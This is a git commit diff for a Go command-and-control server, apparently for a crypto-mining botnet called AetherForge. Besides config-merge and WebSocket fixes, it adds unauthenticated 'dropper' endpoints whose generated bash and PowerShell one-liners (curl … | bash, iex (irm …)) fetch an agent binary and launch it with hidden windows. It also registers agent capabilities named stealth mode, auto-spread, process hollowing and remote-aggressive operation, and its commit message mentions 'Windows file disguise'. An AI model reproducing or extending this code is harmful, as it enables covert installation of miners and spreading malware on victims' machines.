Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
193
server/config.go
193
server/config.go
@@ -359,6 +359,199 @@ func mergeConfig(dst, src *Config) {
|
||||
}
|
||||
}
|
||||
|
||||
// mergeConfigExplicit is like mergeConfig but only applies boolean fields when
|
||||
// the corresponding top-level key was explicitly present in the JSON request.
|
||||
// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode,
|
||||
// AutoStart, LogAgentConnections, etc. to false.
|
||||
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if present == nil {
|
||||
// Fall back to old behaviour if we have no key presence info
|
||||
mergeConfig(dst, src)
|
||||
return
|
||||
}
|
||||
has := func(key string) bool { _, ok := present[key]; return ok }
|
||||
|
||||
// Non-boolean scalar fields — safe to use zero-value guard
|
||||
if src.Port != 0 {
|
||||
dst.Port = src.Port
|
||||
}
|
||||
if src.DataDir != "" {
|
||||
dst.DataDir = src.DataDir
|
||||
}
|
||||
|
||||
// Pool — only touch booleans when key was in the payload
|
||||
if has("pool") {
|
||||
if src.Pool.Host != "" {
|
||||
dst.Pool.Host = src.Pool.Host
|
||||
}
|
||||
if src.Pool.Port != 0 {
|
||||
dst.Pool.Port = src.Pool.Port
|
||||
}
|
||||
dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present
|
||||
if src.Pool.Password != "" {
|
||||
dst.Pool.Password = src.Pool.Password
|
||||
}
|
||||
}
|
||||
|
||||
if has("wallet") {
|
||||
if src.Wallet.Address != "" {
|
||||
dst.Wallet.Address = src.Wallet.Address
|
||||
}
|
||||
if src.Wallet.PaymentID != "" {
|
||||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||||
}
|
||||
}
|
||||
|
||||
if has("default_agent") {
|
||||
if src.DefaultAgent.Threads != 0 {
|
||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||
}
|
||||
if src.DefaultAgent.ThreadMode != "" {
|
||||
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||||
}
|
||||
if src.DefaultAgent.ThreadPercent != 0 {
|
||||
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||||
}
|
||||
if src.DefaultAgent.CPUPriority != "" {
|
||||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||||
}
|
||||
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||||
}
|
||||
if src.DefaultAgent.MaxMemoryPct != 0 {
|
||||
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||||
}
|
||||
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||||
}
|
||||
if src.DefaultAgent.MiningMode != "" {
|
||||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||||
}
|
||||
if src.DefaultAgent.DisplayMode != "" {
|
||||
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||||
}
|
||||
if src.DefaultAgent.ProcessName != "" {
|
||||
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||||
}
|
||||
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||||
}
|
||||
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
||||
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||||
}
|
||||
if src.DefaultAgent.ScheduleStart != "" {
|
||||
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||||
}
|
||||
if src.DefaultAgent.ScheduleEnd != "" {
|
||||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||
}
|
||||
if src.DefaultAgent.InstallBase != "" {
|
||||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||||
}
|
||||
if src.DefaultAgent.InstallCustomBase != "" {
|
||||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
// Booleans only applied because "default_agent" key was present
|
||||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||
}
|
||||
|
||||
if has("background") {
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
}
|
||||
dst.Background.AutoStart = src.Background.AutoStart
|
||||
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
||||
}
|
||||
|
||||
if has("alerts") {
|
||||
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||||
}
|
||||
if src.Alerts.HashrateDropThresholdPct != 0 {
|
||||
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||||
}
|
||||
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||||
}
|
||||
if src.Alerts.TelegramBotToken != "" {
|
||||
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||||
}
|
||||
if src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
if src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
if src.Alerts.SMTPPort != 0 {
|
||||
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||||
}
|
||||
if src.Alerts.SMTPUser != "" {
|
||||
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||||
}
|
||||
if src.Alerts.SMTPPassword != "" {
|
||||
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||||
}
|
||||
if src.Alerts.EmailTo != "" {
|
||||
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||||
}
|
||||
if src.Alerts.EmailFrom != "" {
|
||||
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||||
}
|
||||
}
|
||||
|
||||
if has("server") {
|
||||
if src.Server.PublicURL != "" {
|
||||
dst.Server.PublicURL = src.Server.PublicURL
|
||||
}
|
||||
if src.Server.StatsRetentionHours != 0 {
|
||||
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||||
}
|
||||
if src.Server.BuildRetentionDays != 0 {
|
||||
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||||
}
|
||||
if src.Server.PoolReconnectSeconds != 0 {
|
||||
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||||
}
|
||||
if src.Server.WebSocketPingSeconds != 0 {
|
||||
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||||
}
|
||||
if src.Server.MaxAgents != 0 {
|
||||
dst.Server.MaxAgents = src.Server.MaxAgents
|
||||
}
|
||||
if src.Server.MaxBuildSizeMB != 0 {
|
||||
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||||
}
|
||||
// Booleans applied because "server" key was present
|
||||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||
if src.Server.DashboardSubtitle != "" {
|
||||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||
}
|
||||
if src.Server.SignCertThumbprint != "" {
|
||||
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||||
}
|
||||
if src.Server.SignToolPath != "" {
|
||||
dst.Server.SignToolPath = src.Server.SignToolPath
|
||||
}
|
||||
if src.Server.SignTimestampURL != "" {
|
||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
configPath := filepath.Join(c.DataDir, "config.json")
|
||||
data, err := json.MarshalIndent(c, "", " ")
|
||||
|
||||
@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
|
||||
if err := os.WriteFile(filePath, formatted, 0600); err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
202
server/internal/api/dropper_handler.go
Normal file
202
server/internal/api/dropper_handler.go
Normal file
@@ -0,0 +1,202 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// DropperHandler serves the one-liner remote-install endpoints:
|
||||
//
|
||||
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
publicURLFunc func() string
|
||||
}
|
||||
|
||||
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
||||
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
||||
}
|
||||
|
||||
func (h *DropperHandler) publicURL() string {
|
||||
if h.publicURLFunc != nil {
|
||||
if u := h.publicURLFunc(); u != "" {
|
||||
return strings.TrimRight(u, "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// detectPlatform picks the right build platform from an explicit query param or
|
||||
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
||||
func detectPlatform(r *http.Request) string {
|
||||
if p := r.URL.Query().Get("os"); p != "" {
|
||||
switch strings.ToLower(p) {
|
||||
case "windows", "win":
|
||||
return "windows"
|
||||
case "linux":
|
||||
return "linux"
|
||||
case "darwin", "mac", "macos":
|
||||
return "darwin"
|
||||
case "universal", "any":
|
||||
return "universal"
|
||||
}
|
||||
}
|
||||
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
||||
switch {
|
||||
case strings.Contains(ua, "windows"):
|
||||
return "windows"
|
||||
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
||||
return "darwin"
|
||||
case strings.Contains(ua, "linux"):
|
||||
return "linux"
|
||||
}
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath = b.FilePath
|
||||
buildName = filepath.Base(b.FilePath)
|
||||
break
|
||||
}
|
||||
}
|
||||
if buildPath == "" {
|
||||
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
// Best-effort: derive from request
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge one-liner installer
|
||||
# Usage: curl -sL %s/install.sh | bash
|
||||
|
||||
set -e
|
||||
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
x86_64) ARCH="amd64" ;;
|
||||
aarch64|arm64) ARCH="arm64" ;;
|
||||
esac
|
||||
|
||||
TMPDIR="$(mktemp -d)"
|
||||
DEST="$TMPDIR/worker"
|
||||
|
||||
echo "[*] Downloading agent for $OS/$ARCH..."
|
||||
curl -sL -o "$DEST" "%s/get?os=$OS"
|
||||
|
||||
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
|
||||
echo "[*] Extracting universal bundle..."
|
||||
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
||||
cd "$TMPDIR/bundle"
|
||||
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
|
||||
if [ "$OS" = "darwin" ]; then
|
||||
for L in Start.command start.command; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
|
||||
done
|
||||
fi
|
||||
for L in start.sh deploy.sh; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
|
||||
done
|
||||
echo "[!] Could not find launcher in bundle"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
chmod +x "$DEST"
|
||||
echo "[*] Launching..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!)"
|
||||
`, base, base)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
// PowerShell backticks would conflict with Go raw-string backticks; build the
|
||||
// script as a regular string so we can escape them properly.
|
||||
bt := "`" // backtick character
|
||||
script := "# AetherForge one-liner installer\n" +
|
||||
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
|
||||
"$ErrorActionPreference = 'Stop'\n" +
|
||||
"$url = '" + base + "/get?os=windows'\n" +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
|
||||
"Write-Host '[*] Downloading agent...'\n" +
|
||||
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
|
||||
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
|
||||
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
|
||||
"if ($isZip) {\n" +
|
||||
" Write-Host '[*] Extracting universal bundle...'\n" +
|
||||
" $dir = $tmp + '_bundle'\n" +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
|
||||
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
|
||||
" $bat = $null\n" +
|
||||
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
|
||||
" $candidate = Join-Path $dir $name\n" +
|
||||
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
|
||||
" }\n" +
|
||||
" if ($bat) {\n" +
|
||||
" Write-Host '[*] Running launcher...'\n" +
|
||||
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
|
||||
" } else {\n" +
|
||||
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
|
||||
" }\n" +
|
||||
"} else {\n" +
|
||||
" $exe = $tmp + '.exe'\n" +
|
||||
" Move-Item -Path $tmp -Destination $exe -Force\n" +
|
||||
" Write-Host '[*] Launching...'\n" +
|
||||
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
|
||||
"}\n" +
|
||||
"Write-Host '[+] Agent deployed.'\n"
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
content := f.ws.GetAgentLog(id)
|
||||
if r.URL.Query().Get("refresh") == "1" {
|
||||
// Fire the get_log command and return immediately — the response arrives
|
||||
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
||||
// The dashboard will receive the log content via the commandResults queue.
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
for i := 0; i < 12; i++ {
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if c := f.ws.GetAgentLog(id); c != "" {
|
||||
content = c
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
|
||||
@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
|
||||
}
|
||||
|
||||
func TestHealthIsPublic(t *testing.T) {
|
||||
|
||||
@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
path := r.URL.Path
|
||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
loadUsers(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
}
|
||||
|
||||
// Serve frontend SPA
|
||||
if webRoot != "" {
|
||||
// Check if webroot directory exists
|
||||
|
||||
@@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
||||
return c.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||||
// broadcastDashboard and the ping loop never race on the same connection.
|
||||
type DashboardConn struct {
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteMessage(messageType, data)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
dashboards map[string]*DashboardConn
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentLogs map[string]string
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentCapabilities map[string]models.AgentCapabilities
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
mu sync.RWMutex
|
||||
@@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentLogs: make(map[string]string),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
}
|
||||
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
dc.Conn.SetPongHandler(func(string) error {
|
||||
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
})
|
||||
|
||||
for range ticker.C {
|
||||
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopRaw(conn)
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIModel: auth.AIModel,
|
||||
}
|
||||
|
||||
caps := models.AgentCapabilities{
|
||||
HolePunch: auth.HolePunch,
|
||||
RemoteAggressive: auth.RemoteAggressive,
|
||||
MeshP2P: auth.MeshP2P,
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agentConfigs[agentID] = forgeCfg
|
||||
h.agentCapabilities[agentID] = caps
|
||||
h.mu.Unlock()
|
||||
|
||||
if h.poolManager != nil {
|
||||
@@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
Status: "online",
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
Status: "online",
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
Platform: auth.Platform,
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
}
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
